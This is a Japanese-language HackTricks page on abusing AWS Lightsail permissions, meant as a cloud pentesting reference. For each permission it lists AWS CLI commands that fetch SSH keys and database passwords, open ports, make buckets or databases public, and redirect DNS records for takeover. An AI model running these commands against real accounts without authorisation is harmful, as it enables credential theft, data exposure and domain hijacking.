Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md

5.9 KiB
Raw Blame History

AWS - Lightsail Privesc

{{#include ../../../banners/hacktricks-training.md}}

Lightsail

Lightsailに関する詳細情報は、以下を確認してください:

{{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}}

Warning

Lightsailはユーザーに属するIAMロールを使用しないが、AWS管理アカウントに属するため、このサービスを利用して権限昇格を行うことはできません。しかし、機密データコード、APIキー、データベース情報などがこのサービス内に存在する可能性があります。

lightsail:DownloadDefaultKeyPair

この権限により、インスタンスにアクセスするためのSSHキーを取得できます:

aws lightsail download-default-key-pair

潜在的な影響: インスタンス内の機密情報を見つける。

lightsail:GetInstanceAccessDetails

この権限を使用すると、インスタンスにアクセスするためのSSHキーを生成できます

aws lightsail get-instance-access-details --instance-name <instance_name>

潜在的な影響: インスタンス内の機密情報を見つける。

lightsail:CreateBucketAccessKey

この権限を使用すると、バケットにアクセスするためのキーを取得できます:

aws lightsail create-bucket-access-key --bucket-name <name>

潜在的な影響: バケット内の機密情報を見つける。

lightsail:GetRelationalDatabaseMasterUserPassword

この権限により、データベースにアクセスするための資格情報を取得できます:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

潜在的な影響: データベース内の機密情報を見つける。

lightsail:UpdateRelationalDatabase

この権限を使用すると、データベースにアクセスするためのパスワードを変更できます。

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

データベースが公開されていない場合、これらの権限を使用して公開することもできます。

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

潜在的な影響: データベース内の機密情報を見つける。

lightsail:OpenInstancePublicPorts

この権限は、ポートをインターネットに開放することを許可します。

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

潜在的な影響: 機密ポートへのアクセス。

lightsail:PutInstancePublicPorts

この権限は、ポートをインターネットに開放することを許可します。指定されていないポートは閉じられることに注意してください。

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

潜在的な影響: 機密ポートにアクセスする。

lightsail:SetResourceAccessForBucket

この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを許可します。

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

潜在的な影響: 機密情報を含むバケットへの新たなアクセスの可能性。

lightsail:UpdateBucket

この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

潜在的な影響: 機密情報を含むバケットへの新しいアクセスの可能性。

lightsail:UpdateContainerService

この権限を持つ攻撃者は、コンテナサービスからプライベートECRへのアクセスを付与することができます。

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

潜在的な影響: プライベートECRから機密情報を取得する

lightsail:CreateDomainEntry

この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントすることができるサブドメインの乗っ取り、またはドメインからのメールを偽装することを許可するSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在的な影響: ドメインの乗っ取り

lightsail:UpdateDomainEntry

この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができるサブドメインの乗っ取り、またはSPFレコードを作成してドメインからのメールを偽装することを許可することができる、さらにはメインドメインを自分のIPアドレスに設定することさえできる。

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在的な影響: ドメインの乗っ取り

{{#include ../../../banners/hacktricks-training.md}}